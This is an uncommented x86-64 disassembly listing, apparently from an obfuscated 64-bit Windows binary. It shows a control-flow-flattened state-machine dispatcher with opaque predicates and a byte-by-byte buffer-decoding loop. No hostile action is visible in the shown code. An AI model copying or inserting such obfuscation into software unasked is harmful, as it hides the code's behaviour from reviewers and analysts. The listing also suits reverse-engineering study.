mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov edi, 0x1dd6f415
mov eax, 0xb97238e3
cmovne edi, eax
mov ecx, 0x13679cf1
jmp 0x14003c1d0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003c210
cmp eax, 0x2a0b524b
jle 0x14003c230
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003c1d0
mov ecx, edi
cmp eax, 0x7bae5e91
je 0x14003c1d0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003c1d0
jmp 0x14003c740
cmp eax, 0xb97238e2
jg 0x14003c250
cmp eax, 0x873bf760
je 0x14003c1bf
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003c1d0
mov ecx, 0x7bae5e91
jmp 0x14003c1d0
cmp eax, 0x13679cf1
je 0x14003c292
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003c1d0
mov ecx, 0xb97238e3
jmp 0x14003c1d0
cmp eax, 0xb97238e3
je 0x14003c2b4
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003c1d0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003c1d0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov r8d, 0x7bae5e91
cmovne ecx, r8d
test al, al
cmovne ecx, r8d
jmp 0x14003c1d0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003c1d0
cmp eax, 0x91b9c7e8
jne 0x14003c7c4
mov eax, 0x3d27c40f
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14003bbbd
mov eax, 0x383d24c4
jmp 0x14003bbbd
mov eax, 0x38010efa
jmp 0x14003bbbd
mov eax, 0x3d57c85c
jmp 0x14003bbbd
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14003bbbd
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14003bbbd
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14003bbbd
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x14003bbb0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x14003bbb0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x14003bbb0
mov eax, 0x39efa06e
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x14003bbb0
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x14003bbb0
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x14003bbb0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x14003bbb0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x14003bbb0
mov eax, 0x8cbae95b
jmp 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x14003bbb0
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003c5b0
mov ecx, 0xcbdf0816
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003c5f0
cmp eax, 0x2a0b524b
jle 0x14003c610
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003c5b0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003c5b0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003c5b0
jmp 0x14003c78e
cmp eax, 0xb97238e2
jg 0x14003c630
cmp eax, 0x873bf760
je 0x14003c5a2
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003c5b0
mov ecx, 0x7bae5e91
jmp 0x14003c5b0
cmp eax, 0x13679cf1
je 0x14003c672
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003c5b0
mov ecx, 0xb97238e3
jmp 0x14003c5b0
cmp eax, 0xb97238e3
je 0x14003c691
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003c5b0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003c5b0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003c5b0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003c5b0
mov eax, 0x62e61b4c
jmp 0x14003bbbd
mov eax, 0xca2aa47c
jmp 0x14003bbbd
mov eax, 0xd4ce6052
jmp 0x14003bbbd
mov eax, 0x28f8e7fa
jmp 0x14003bbbd
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x14003bbb0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x14003bbb0
mov eax, 0xa1a955d1
jmp 0x14003bbbd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x14003bbb0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x14003bbb0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14003bbbd
cmp eax, 0x8cbae95b
jne 0x14003bbbd
mov rax, qword [rbp + 0x40]
mov rsp, r10
mov qword [rbp + 0x20], rax
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6115bb99
mov ecx, 0x5e279ddb
jmp 0x14003ba41
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14003c85d
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x14003c8c0
cmp eax, 0x3d27c40e
jle 0x14003c920
cmp eax, 0x69d5c2bd
jg 0x14003c9d5
cmp eax, 0x4b18584e
jle 0x14003caff
cmp eax, 0x62dd269b
jg 0x14003ccb7
cmp eax, 0x4b18584f
je 0x14003cf72
cmp eax, 0x5f2b4794
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x14003c850
cmp eax, 0xb7633e00
jg 0x14003c980
cmp eax, 0x9a0207dc
jle 0x14003ca12
cmp eax, 0xa1a955d0
jle 0x14003cb2a
cmp eax, 0xaef00e70
jg 0x14003cd08
cmp eax, 0xa1a955d1
je 0x14003cfa2
cmp eax, 0xa4c297a2
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x14003c850
cmp eax, 0x28f8e7f9
jle 0x14003ca6b
cmp eax, 0x3548ed16
jle 0x14003cb69
cmp eax, 0x383d24c3
jg 0x14003cd28
cmp eax, 0x3548ed17
je 0x14003cfd6
cmp eax, 0x38010efa
jne 0x14003c85d
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x14003c850
cmp eax, 0xd4c9a55c
jle 0x14003cab5
cmp eax, 0xe3e2d3b2
jle 0x14003cb9f
cmp eax, 0xe8bf1131
jg 0x14003cd5c
cmp eax, 0xe3e2d3b3
je 0x14003cfe0
cmp eax, 0xe8706593
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x14003c850
cmp eax, 0x74ef2dd8
jle 0x14003cbde
cmp eax, 0x7862d6f4
jg 0x14003cd90
cmp eax, 0x74ef2dd9
je 0x14003cfea
cmp eax, 0x76a01761
jne 0x14003c85d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14003c85d
cmp eax, 0x8cbae95a
jle 0x14003cc09
cmp eax, 0x9771075a
jle 0x14003cf5d
cmp eax, 0x9771075b
je 0x14003cff4
cmp eax, 0x988c5a5b
jne 0x14003c85d
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14003c85d
cmp eax, 0x9e52667
jg 0x14003cc34
cmp eax, 0xf130480a
je 0x14003d002
cmp eax, 0xf8282498
je 0x14003d010
cmp eax, 0x56ab6a0
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x14003c850
cmp eax, 0xcec14fc6
jg 0x14003cc73
cmp eax, 0xb7633e01
je 0x14003d026
cmp eax, 0xbd590664
je 0x14003d034
cmp eax, 0xca2aa47c
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x14003c850
cmp eax, 0x3d27c40f
je 0x14003d052
cmp eax, 0x3d57c85c
je 0x14003d070
cmp eax, 0x4049e1a1
jne 0x14003c85d
mov eax, 0x3065742d
jmp 0x14003c85d
cmp eax, 0x9a0207dd
je 0x14003d08e
cmp eax, 0x9a93d6f7
je 0x14003c826
cmp eax, 0x9d093714
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x14003c850
cmp eax, 0x28f8e7fa
je 0x14003d098
cmp eax, 0x3065742d
je 0x14003d0b6
cmp eax, 0x32a3cf92
jne 0x14003c85d
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14003c85d
cmp eax, 0xd4c9a55d
je 0x14003d0e8
cmp eax, 0xd4ce6052
je 0x14003d0f6
cmp eax, 0xdf71f794
jne 0x14003c85d
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14003c85d
cmp eax, 0x69d5c2be
je 0x14003d114
cmp eax, 0x72fc1027
je 0x14003d13e
cmp eax, 0x746a711d
jne 0x14003c85d
mov eax, 0x56ab6a0
jmp 0x14003c85d
cmp eax, 0x8582c309
je 0x14003d15c
cmp eax, 0x89a242b2
je 0x14003d166
cmp eax, 0x8a63bb18
jne 0x14003c85d
mov eax, 0x4b18584f
jmp 0x14003c85d
cmp eax, 0x9e52668
je 0x14003d184
cmp eax, 0x1dc66492
je 0x14003d33d
cmp eax, 0x2753fdcb
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x14003c850
cmp eax, 0xcec14fc7
je 0x14003d347
cmp eax, 0xd0cc8406
je 0x14003d351
cmp eax, 0xd42690e8
jne 0x14003c85d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14003c85d
cmp eax, 0x62dd269c
je 0x14003d35b
cmp eax, 0x62e61b4c
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14003c85d
cmp eax, 0xaef00e71
je 0x14003d365
cmp eax, 0xb0c52422
jne 0x14003c85d
mov eax, 0x32a3cf92
jmp 0x14003c85d
cmp eax, 0x383d24c4
je 0x14003d38f
cmp eax, 0x39efa06e
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x14003c850
cmp eax, 0xe8bf1132
je 0x14003d3ad
cmp eax, 0xed3034e3
jne 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x14003c850
cmp eax, 0x7862d6f5
je 0x14003d3b7
cmp eax, 0x7fa07399
jne 0x14003c85d
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003ce70
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003ceb0
cmp eax, 0x2a0b524b
jle 0x14003ced0
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003ce70
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003ce70
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003ce70
jmp 0x14003d3e0
cmp eax, 0xb97238e2
jg 0x14003cef0
cmp eax, 0x873bf760
je 0x14003ce61
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003ce70
mov ecx, 0x7bae5e91
jmp 0x14003ce70
cmp eax, 0x13679cf1
je 0x14003cf32
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003ce70
mov ecx, 0xb97238e3
jmp 0x14003ce70
cmp eax, 0xb97238e3
je 0x14003cf51
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003ce70
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003ce70
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003ce70
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003ce70
cmp eax, 0x91b9c7e8
jne 0x14003d464
mov eax, 0x3d27c40f
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14003c85d
mov eax, 0x383d24c4
jmp 0x14003c85d
mov eax, 0x38010efa
jmp 0x14003c85d
mov eax, 0x3d57c85c
jmp 0x14003c85d
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14003c85d
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14003c85d
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14003c85d
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x14003c850
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x14003c850
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x14003c850
mov eax, 0x39efa06e
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x14003c850
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x14003c850
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x14003c850
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x14003c850
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x14003c850
mov eax, 0x8cbae95b
jmp 0x14003c85d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x14003c850
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003d250
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003d290
cmp eax, 0x2a0b524b
jle 0x14003d2b0
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003d250
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003d250
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003d250
jmp 0x14003d42e
cmp eax, 0xb97238e2
jg 0x14003d2d0
cmp eax, 0x873bf760
je 0x14003d23f
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003d250
mov ecx, 0x7bae5e91
jmp 0x14003d250
cmp eax, 0x13679cf1
je 0x14003d312
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003d250
mov ecx, 0xb97238e3
jmp 0x14003d250
cmp eax, 0xb97238e3
je 0x14003d331
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003d250
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003d250
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003d250
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003d250
mov eax, 0x62e61b4c
jmp 0x14003c85d
mov eax, 0xca2aa47c
jmp 0x14003c85d
mov eax, 0xd4ce6052
jmp 0x14003c85d
mov eax, 0x28f8e7fa
jmp 0x14003c85d
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x14003c850
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x14003c850
mov eax, 0xa1a955d1
jmp 0x14003c85d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x14003c850
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x14003c850
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14003c85d
cmp eax, 0x8cbae95b
jne 0x14003c85d
mov rax, qword [rbp + 0x40]
mov rsp, r10
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611b4], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x2f769c9d
mov ecx, 0xde195c3a
cmovne eax, ecx
jmp 0x14003ba4e
mov eax, 0xc99c3b22
jmp 0x14003ba4e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6720f4d5
mov ecx, 0x8119d0ce
jmp 0x14003ba41
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14003d53d
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x14003d5a0
cmp eax, 0x3d27c40e
jle 0x14003d600
cmp eax, 0x69d5c2bd
jg 0x14003d6b5
cmp eax, 0x4b18584e
jle 0x14003d7df
cmp eax, 0x62dd269b
jg 0x14003d997
cmp eax, 0x4b18584f
je 0x14003dc52
cmp eax, 0x5f2b4794
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
